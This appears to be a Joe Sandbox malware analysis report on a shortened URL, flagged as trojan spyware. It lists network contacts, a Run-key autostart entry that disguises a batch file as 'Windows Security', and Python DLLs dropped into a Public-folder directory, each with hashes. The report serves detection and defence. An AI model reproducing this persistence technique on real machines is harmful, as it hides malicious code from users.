185.166.143.48	unknown	Germany	16509	AMAZON-02US	false
3.232.60.224	unknown	United States	14618	AMAZON-AESUS	false
142.250.185.195	unknown	United States	15169	GOOGLEUS	false
142.250.186.131	unknown	United States	15169	GOOGLEUS	false
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
64.233.184.84	unknown	United States	15169	GOOGLEUS	false
104.20.7.133	unknown	United States	13335	CLOUDFLARENETUS	false
18.207.85.246	unknown	United States	14618	AMAZON-AESUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1556418
Start date and time:	2024-11-15 11:56:45 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://t.ly/-kxCO
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.spyw.evad.win@79/1730@0/18
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 95% Number of executed functions: 95 Number of non-executed functions: 123

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Execution Graph export aborted for target synaptics.exe, PID 5176 because there are no executed function
Execution Graph export aborted for target synaptics.exe, PID 6592 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Skipping network analysis since amount of network traffic is too extensive
VT rate limit hit for: https://t.ly/-kxCO

Simulations

Behavior and APIs

Time	Type	Description
05:58:33	API Interceptor	1x Sleep call for process: AcroCEF.exe modified
05:58:51	API Interceptor	25x Sleep call for process: unarchiver.exe modified
11:58:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Windows Security C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat
11:58:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Windows Security C:\Windows\Explorer.EXE C:\Users\Public\Windows Security.bat

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	56600
Entropy (8bit):	6.701238830377098
Encrypted:	false
SSDEEP:	1536:FDUfUUn5KdYveu2H7sz9YHIRTRILOnY7SyOPx3A:FDgDn0KPz9YHIxRILOnYIx3A
MD5:	252C9B6FCC220FE16499ABF4A8E2A2E8
SHA1:	03327874A1153E9FE640E6F5E8D987CCC84034C4
SHA-256:	E01FDB89380EBF58700F40DCEBAFCB37F24970C8EA1F33063BDEA873B53E720D
SHA-512:	F68C9D043D5EF7A32098DDD9C1622F761F88DA31CA47450AB1D95E51AB8CD06E1658DC57DB150AAF51B682F7F285654E6BBD118B3CA8400BB5B2D461BDC78926
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........:...T..T..T....T...U..T...Q..T...P..T...W..T.m.U..T..U..T..U.+.T.m.\..T.m.T..T.m....T.m.V..T.Rich..T.........................PE..L...9.,d...........!.....R...\.......V.......p......................................B.....@.............................P......d......................../..........(...T...............................@............p...............................text...TP.......R.................. ..`.rdata...7...p...8...V..............@..@.data...............................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72472
Entropy (8bit):	6.8432832170573255
Encrypted:	false
SSDEEP:	1536:QxDhX4Vb2zMIsTRGxT+0q8i9qK5ILCVwQ7Sy8Pxer:mhi2zvsCK0ti9qK5ILCVwQ6xw
MD5:	5C952E57426E429F6F4CEC9FEB841815
SHA1:	83BFD2108E188909C7FF3B294AB9C99336D02D06
SHA-256:	B682E9E8152036BDEBF4CA5410D3C0F88FA3272A969830F63C7B61BB1F0DA89F
SHA-512:	2B6AB5F24E7E232C8906AC12C5A4994CFCF1B061FFC25407F278DE3D97664716C24E58237EE6EC48949AC6C1F4522AA1CA4C5238015D128E3A9BE602D2CE0ED2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j.:...i...i...i.svi...i.~.h...i.d.i...i.~.h...i.~.h...i.~.h...i.~.h...i.s.h...i...i...i.~.h...i.~.h...i.~.i...i.~.h...iRich...i........PE..L...Y.,d...........!.........D.............................................. ......!.....@.............................H................................/.......... ...T...........................x...@...............8............................text............................... ..`.rdata...-..........................@..@.data...8...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	108312
Entropy (8bit):	6.644234290397436
Encrypted:	false
SSDEEP:	3072:qS6mSAe9tVW/dhyGfnH/Jt5Phld/7VILLPf17Mxk:qS6mzInWlhyiH/Jt1d/7wJ
MD5:	FF0992DFB0D4D90BDCEAAD68246C5C22
SHA1:	3508B7D730DDE3DB94AE413625451AE8CAA0BD7D
SHA-256:	F879F86BF65CE05EE3467DF65C55B9837F9DFFB0F024C350C9A9869A08609759
SHA-512:	8BEBC01958D71B327CBC39ED04BC53F6484CAA0232A1FD71E6691BDAA89FCBC766BC888D45870DC24D1190C48A0AE0A58C447EC936E34DB23059EE6F35A138BB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.....................H..............................................Y........&................$..........Rich...........................PE..L...W.,d...........!................................................................)]....@.........................P4.......4.......p...............x.../.........../..T............................/..@............................................text...!........................... ..`.rdata..TK.......L..................@..@.data...l....P.......:..............@....rsrc........p.......V..............@..@.reloc...............`..............@..B........................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	195864
Entropy (8bit):	6.894532348319941
Encrypted:	false
SSDEEP:	3072:HJwcAu1LgDNsFyrbz5arkp1Lq00rBCXN4hmuqaxgU3pJMWlXgWcW+33SgRILOqXv:HNAg8rRaULECXN4Quqax33XMW5gJW+34
MD5:	FBE8BB3048DF17FF9DDB0972825FDA71
SHA1:	E3AD65446B60554CB9F7C45700BE2EAD1453772F
SHA-256:	283AA604D532B6239AA8D8794C8D8A4F3A11C93DFBCEF846315CFD74F5E07E2F
SHA-512:	48C66F10F9E79359DF63FD381C21B4559438DAE7AD84C625EFE1C7AB802F31BB8D326650F654C8EA504791595D801679A6F156F7ED90DA98AEBC04D2120C90A6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m<.c)].0)].0)].0 %"0'].0{(.1+].0{(.1%].0{(.1#].0{(.1-].0.(.1*].0b%.1+].0)].0.].0.(.1&].0.(.1(].0.(N0(].0.(.1(].0Rich)].0................PE..L...E.,d...........!................(........ ......................................R.....@.............................P...`............................/......t.......T...............................@............ ..d............................text............................... ..`.rdata....... ......................@..@.data...x...........................@....rsrc...............................@..@.reloc..t...........................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_elementtree.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	114968
Entropy (8bit):	6.774198419515606
Encrypted:	false
SSDEEP:	3072:Z+6/1DqY6SFc720NRIF2Upji0101tgJIL6fijC8u8xF:Tw9uWy01tgW+g
MD5:	9CBEE02CC8FB2DA7C05B9D6EB5FC38A2
SHA1:	1D0F75F30BDF542E6A275DCA0192C70AE3B2F455
SHA-256:	AFB9950D0B16254025F3C2DE68C877381D3DA57FEFDB02504C21EE8D4C2E84E5
SHA-512:	99841EA990FE5874F3B4975318AC81D144D22CE6A6C245A001B67F33BE3A6D41901B18387F9A1564CAD3544F077812D0AE78D8880C66E79FBFDB1DD50117D2A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Y..7...7...7.......7..6...7..2...7..3...7..4...7.\.6...7..6...7...6.:.7.\.?...7.\.7...7.\....7.\.5...7.Rich..7.........................PE..L...A.,d...........!.........t.......!.......0............................................@.........................Pf..X....f..x......................../...........a..T............................b..@............0..P............................text...l........................... ..`.rdata..ZE...0...F... ..............@..@.data................f..............@....rsrc................p..............@..@.reloc...............z..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	49432
Entropy (8bit):	6.749500211425154
Encrypted:	false
SSDEEP:	768:H+OYENKnr4deUNXT1Ee20RILOIS5YiSyvWPxWEa1E:HbYENsr4MWT1Ee20RILOIQ7SyOPxl
MD5:	2AC2DEE9FDB32BE30FEFD4FDB5D280B3
SHA1:	5E803C5D649521CAB34BFC7EF6DC44954915220D
SHA-256:	F10C90062EAA68F41B1A6B34F3796E3AB8E0D765E595236E893CFF9FAD30116A
SHA-512:	86A7DFE6F15FCE67ACCBC84262C73D25F2E440B7529143235B9B32F15F7804F99206E24C5ED8E5219BB5895BF6E397304BA153E064FF97EED23F5E92469E901E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I.&...H...H...H.......H._.I...H._.M...H._.L...H._.K...H...I...H.F.I...H...I...H...I.H...@...H...H...H......H...J...H.Rich..H.........PE..L...q.,d...........!.....>...T.......C.......P.......................................+....@..........................w..P....w.........................../..........(s..T............................s..@............P...............................text...t=.......>.................. ..`.rdata..j4...P...6...B..............@..@.data...h............x..............@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	148248
Entropy (8bit):	7.03034519275223
Encrypted:	false
SSDEEP:	3072:VcSEmJbTMWUCFHRQWtwjEYZLlFrFvIB+hBJQ8T374Tu2d//zHf39mNoBJNWQ5ILt:GwUC9RQWtwjEGgYXT3CTvYOVWQI
MD5:	6174470C775AD7529891E1BA3C54F87B
SHA1:	A1536BDECFD42F99BD1CC561EC727D81F613D205
SHA-256:	E1E346F8B9FA43EC5519166D92625168EBB642A70F52611545117631C74181BD
SHA-512:	0595EA1C8D2784D1C8272E29D8E9C1C074FFA1CA14116AE7E65C52DA1D1E87A0AE1FD9D3EF285F887A8847008DA1EBE3E1F6ACF1294AFDC9E2F31216F7AB7CB4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*.P.D.P.D.P.D.Y...T.D...E.R.D...A.[.D...@.Z.D...G.S.D...E.S.D...E.R.D.P.E.1.D...L.j.D...D.Q.D.....Q.D...F.Q.D.RichP.D.........PE..L.....,d...........!.....f..........<k.......................................@.......C....@.............................L.......x.... .................../...0..t.......T...........................H...@...............x............................text...[e.......f.................. ..`.rdata..b............j..............@..@.data...H...........................@....rsrc........ ......................@..@.reloc..t....0......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_msi.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	37656
Entropy (8bit):	6.790398784644929
Encrypted:	false
SSDEEP:	768:uW9a35lnOP/xoUAIpd+o7uMnm9YVp5Dsa5ILCGaY35YiSyvJPxWEas6:T9a35lOPJmmVp5Dh5ILCGz7SyBPxA
MD5:	87A21CFE0CB3953D5D1442042A72C602
SHA1:	2E33DCF83DAA1642CBE38BBD1CABC15072DCDC1C
SHA-256:	8DF955D1CA6519173E34785FB9F38D1D52F4EDBA4F0E0742749F13AEF19A8F34
SHA-512:	01222931EA798F6783EE6F665FE2E3B911BA7818651DD89E7EB0F1EC8EBCB4912361593E6FA24427DE6A74C5F53AE9A99F291A8F85A985DFCD10546FAB6B3B03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........j.{...(...(...(.s[(...(.~.)...(.~.)...(.~.)...(.~.)...(.~.)...(.s.)...(...(...(.~.)...(.~.)...(.~7(...(.~.)...(Rich...(................PE..L...F.,d...........!.....(...<.......-.......@.......................................<....@.........................PW..H....W.......................d.../...........R..T...........................8S..@............@...............................text...j'.......(.................. ..`.rdata...!...@..."...,..............@..@.data........p.......N..............@....rsrc................T..............@..@.reloc...............^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29976
Entropy (8bit):	6.798507676792536
Encrypted:	false
SSDEEP:	384:aQJATEdgw8HYcj4HjzjuRTBax6i+5/ZMILWBLCHQIYiSy1pCQHcPxh8E9VF0NyUC:9kHYDs88HFZMILWtY5YiSyv8PxWEaC
MD5:	7AB685D3F467C7029DEE1A943BB19065
SHA1:	BCADE206E6863874EAF72A1CAA748FBDEE916970
SHA-256:	91889BBF6DFADFC026276141A4260D7F2C19090FDE9EE04490B9211DD3933EBA
SHA-512:	D8E8CABA0D030FA0433D71D376608ACA2DA003D76C67FE9AB8C7B7E4A6AA7E0C21454E1D45CD052BB67B681B57094BDFA9CD634C1A1AE22C104568D20D13B02A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ Nb.A 1.A 1.A 1.9.1.A 1.4!0.A 1.4%0.A 1.4$0.A 1.4#0.A 1i4!0.A 1.A!1.A 1.9!0.A 1i4(0.A 1i4 0.A 1i4.1.A 1i4"0.A 1Rich.A 1........PE..L...D.,d...........!.........,...............0......................................./....@.........................P<..`....<..x....`...............F.../...p.......7..T............................8..@............0..H............................text...t........................... ..`.rdata.......0......................@..@.data...`....P.......4..............@....rsrc........`.......8..............@..@.reloc.......p.......B..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	42264
Entropy (8bit):	6.794037552069512
Encrypted:	false
SSDEEP:	768:Hv9eDBCwgCnLEggqKboqjzezQPxNILXtV05YiSyvdPxWEaoC:FwgULj8NvezQPxNILXtVe7SylPxRC
MD5:	0A4AAABED72E8E08143EB129E5E24407
SHA1:	A85094E29FE1DE755DFB2BB2650378CA7BD1F5F2
SHA-256:	2233C561A18D92ADC2F4C56D6C55ADFB4A01049E801BDD3BB2A03CEE125F6E43
SHA-512:	79942D76D23376C71028EED8658E2C938DFE64D54D56FC60C0CA8F2FCA9515D7A5A24A5ABFDCB51DFF944ED2F7BEB17B6D5BA50D45A62DE9A7DB4FDCF6A04F62
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........P..f...f...f......f...g...f...c...f...b...f...e...f...g...f...g...f...g...f...b...f...n...f...f...f.......f...d...f.Rich..f.................PE..L...H.,d...........!.....8...>......]<.......P......................................{.....@..........................h..X...(i.......................v.../......$...8d..T............................d..@............P...............................text...$6.......8.................. ..`.rdata...#...P...$...<..............@..@.data................`..............@....rsrc................d..............@..@.reloc..$............n..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28440
Entropy (8bit):	6.828727954203399
Encrypted:	false
SSDEEP:	768:gtbUDut6rf1vYvVILQUG5YiSyvhPxWEa4:uUa8f1vYvVILQU87SyJPxp
MD5:	2E6FE907E37F3F9154DB187C1B7F8232
SHA1:	77F25B5D95097DFDA0F9FD58632F8711091547CD
SHA-256:	763D333C80F4C11861C9210C4BD53FEDA24B5598AC9270391B2EC250BD52B636
SHA-512:	D87683A681D576CB334BDF2CE385E6BDB115D18232E160F17535A6BA432342604ADE6404F085F64ECA63C639860968603D4D8DB11A11520A1BC44B2A57FE00AF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............p..p..p....p...q..p...u..p...t..p...s..p.m.q..p..q..p..q...p.m.x..p.m.p..p.m....p.m.r..p.Rich..p.................PE..L...H.,d...........!.........*...............0............................................@..........................<..L....=..d....`...............@.../...p..\...`8..T............................8..@............0...............................text............................... ..`.rdata.......0......................@..@.data...@....P.......0..............@....rsrc........`.......2..............@..@.reloc..\....p.......<..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	69912
Entropy (8bit):	6.7529275237414
Encrypted:	false
SSDEEP:	1536:XAqVY6E4oksA1MT9f8+CeJ+8WyKTVVILLwt7SyJPxl:XAqVY3FA1MT9f8DeJ+8W9TVVILLwtvxl
MD5:	A092B2DE9E1128F73E26D142A5B2D68B
SHA1:	0C5E38B11389ACC870056200710F4152FBB03429
SHA-256:	389D2B94A3562879F9E0A17CACE1574EE308AC39A5D9F5659F885284C9B2D19E
SHA-512:	60D45D3BEF3C8729CA879816A321B8508AE304A84499E715CB2AD7352273A6482B82C960092311E3EF40F1326D6533CE25B61953A197F7D3FBCE2C0CF511D5E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......&...b...b...b...k...f...0.`...0.n...0.h...0.c.....`...b......)...e.....c.....c.....j.c.....c...Richb...................PE..L...n.,d...........!.....f...\|......tk....................................................@.........................P...P................................/..............T........................... ...@............................................text...:e.......f.................. ..`.rdata...Z.......\...j..............@..@.data...(...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	72984
Entropy (8bit):	6.755617527508713
Encrypted:	false
SSDEEP:	1536:a85mWPlKtIGSqpnoOUNGHxvttnGyOuPrF2dRILOQxyO7Syo/PxjP:XmdiHqpjmGx1tnGEzF2dRILOQxheHxD
MD5:	389A85E60B7DA2F29AAA738A7BF2B542
SHA1:	4C6F51FD4C25F22474667AB8078AD974A9628C5D
SHA-256:	8A703DA286CDBC263FE28D0888C03BB899E73B4B7729C44A953CC6139F33E3BE
SHA-512:	898506A70DA25E8D181DF7E7790430ABEFCB0C9EECCB0595A1983CE09B6155DD0C72935470FBB9EF0BFA0BFFC953555693FF2FFA2461C10B84578691CD0C7B50
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......7@..s!.]s!.]s!.]zY.]u!.]!T.\q!.].Ny]r!.]!T.\.!.]!T.\y!.]!T.\r!.].T.\v!.]8Y.\q!.]s!.].!.].T.\z!.].T.\r!.].T{]r!.].T.\r!.]Richs!.]........PE..L.....,d...........!.........n.......................................................I....@.........................P...P................................/......8.......T...............................@............................................text....~.......................... ..`.rdata...E.......F..................@..@.data...L...........................@....rsrc...............................@..@.reloc..8...........................@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	141592
Entropy (8bit):	6.519132347042123
Encrypted:	false
SSDEEP:	3072:Q1ixmpACRnjX8bpl/u3O90wxY77N5ILC792oywBxv:4ixmpPsbppu3zwxWN9b
MD5:	1222DAA5C49F53A36D2843CA9BFE513A
SHA1:	7A43E326B261E75A05CDFA979B80E95B69080173
SHA-256:	69C76B8FE5C873D1A0DFF493C3A3B88090B61EE648AD7681BC0581964465589E
SHA-512:	B5BF384D14C3C8221A42288F97D910491730C84BE0A783F5BD17FC2E3DF7F2BB63529571C97CB08064066AA90F07FA00C837944E43DB62E071089A720A8BB551
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_...>...>...>...F-..>...K...>...K...>...K...>...K...>..=K...>..8B...>...>..r?...F...>..=K...>..=K...>..=KA..>..=K...>..Rich.>..........................PE..L...~.,d...........!.........L......t........................................ .......P....@..........................q..d...4r.........................../..........Pm..T............................m..@...............,............................text............................... ..`.rdata..............................@..@.data....J.......H..................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22808
Entropy (8bit):	6.937211239543495
Encrypted:	false
SSDEEP:	384:vqIesePwjnE8Gtr5ILZwkeHQIYiSy1pCQiI/NPxh8E9VF0Nyn54qSc:CIeZkgr5ILZwkU5YiSyvT/NPxWElQc
MD5:	59F19A807B3E13D8E707C942A38BF84E
SHA1:	469DEC6DA89737795C72FF51F69B44462E55099A
SHA-256:	7ED17311B391FFFF58F073ECF71829F73629033458A54A435DC62014281A733C
SHA-512:	3C10A7B3AF03E1AE95C577FB4FEE108D0ACFF876DFE0FD1079F74DE30881B5F3659AAA1F52A857CEC9C7430248094E896261C297A25C62D4951252A3A74EB48A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........[..:...:...:...B'..:...O...:...O...:...O...:...O...:...O...:...B...:...:...:...O...:...O...:...OK..:...O...:..Rich.:..................PE..L...M.,d...........!......................... ...............................`......5.....@..........................%..L....%..x....@...............*.../...P..l.... ..T...........................H!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc..l....P.......(..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\_zoneinfo.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39192
Entropy (8bit):	6.848342556185962
Encrypted:	false
SSDEEP:	768:64mK0kiN79J9M3MMc0U2cLbEMRIL9XbR5YiSyvQydPxWEaQK:6rN9JAU9bEMRIL9X77Sy4WPxdK
MD5:	3737DA6429A20AF06F34F307C5611E1C
SHA1:	5FF4FBF0C655DFF7EADBA5FBEBDC2C889003F869
SHA-256:	FCD5C9C9131113354ACEB5A9ED26C75EA7DDC9B44DDC4286A1EFFFC1E3EE4D55
SHA-512:	BF6C94331E8A84302DA2F0AB765B2F44E3EA69A1472689498F1A6D67451B58A944505B63C607F9004A1B91FB3221CE2FB2FD6F1FA088128057596D762A189ACB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./..tA..tA..tA......tA..@..tA..D..tA..E..tA..B..tA.=.@..tA..@..tA..t@.tA.=.I..tA.=.A..tA.=....tA.=.C..tA.Rich.tA.........................PE..L...:.,d...........!.....:...........?.......P............................................@..........................]..T....]..x....................j.../......x....X..T...........................PY..@............P..L............................text....9.......:.................. ..`.rdata..f....P.......>..............@..@.data........p.......V..............@....rsrc................Z..............@..@.reloc..x............d..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2276120
Entropy (8bit):	6.111762453951637
Encrypted:	false
SSDEEP:	49152:3L7Iy5xntVyJSFtv3A8+QK1CPwDv3uFfJKShr:3L7Iy59nFdA8m1CPwDv3uFfJK+
MD5:	4633D62F19C0B25318B1C612995F5C21
SHA1:	50601F9E2B07D616FDE8EE387CE8CDCB0CA451DF
SHA-256:	47376D247AE6033BC30FEE4E52043D3762C1C0C177E3EC27CA46EFF4B95C69B0
SHA-512:	D6A18E43B1A20242F80265054ED8D33598439FFA5DF4920931FF43EC91F1AC2D8A3931913FD5569F48C9B1B9EA845D9E017EA23571A1AC1B352502A3E823ECA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..uk..uk..uk...k..uk..tj..uk..pj..uk..qj..uk..vj..uk..tko.uk..tj..uk2.qjs.uk2.uj..uk2..k..uk2.wj..ukRich..uk........PE..L......c...........!...".(...........g.......@................................#.....8."...@.........................`....h....!.T.....".\|............."../....".4.......8...............................@.............!..............................text....&.......(.................. ..`.rdata..v*...@...,...,..............@..@.data...TY...p!......X!.............@....idata........!......n!.............@..@.00cfg........!.......!.............@..@.rsrc...\|.....".......!.............@..@.reloc........".......!.............@..B................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\DLLs\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	29208
Entropy (8bit):	6.643623418348
Encrypted:	false
SSDEEP:	384:l69PtXvz8cLBN3gHhY4AFlfIvDzqig2c2LuRRClfW23JLURlV5uH+6nYPLxDG4yG:l65tXvz2CTIvy2c26A35qYvWDG4yG
MD5:	BC20614744EBF4C2B8ACD28D1FE54174
SHA1:	665C0ACC404E13A69800FAE94EFD69A41BDDA901
SHA-256:	0C7EC6DE19C246A23756B8550E6178AC2394B1093E96D0F43789124149486F57
SHA-512:	0C473E7070C72D85AE098D208B8D128B50574ABEBBA874DDA2A7408AEA2AABC6C4B9018801416670AF91548C471B7DD5A709A7B17E3358B053C37433665D3F6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
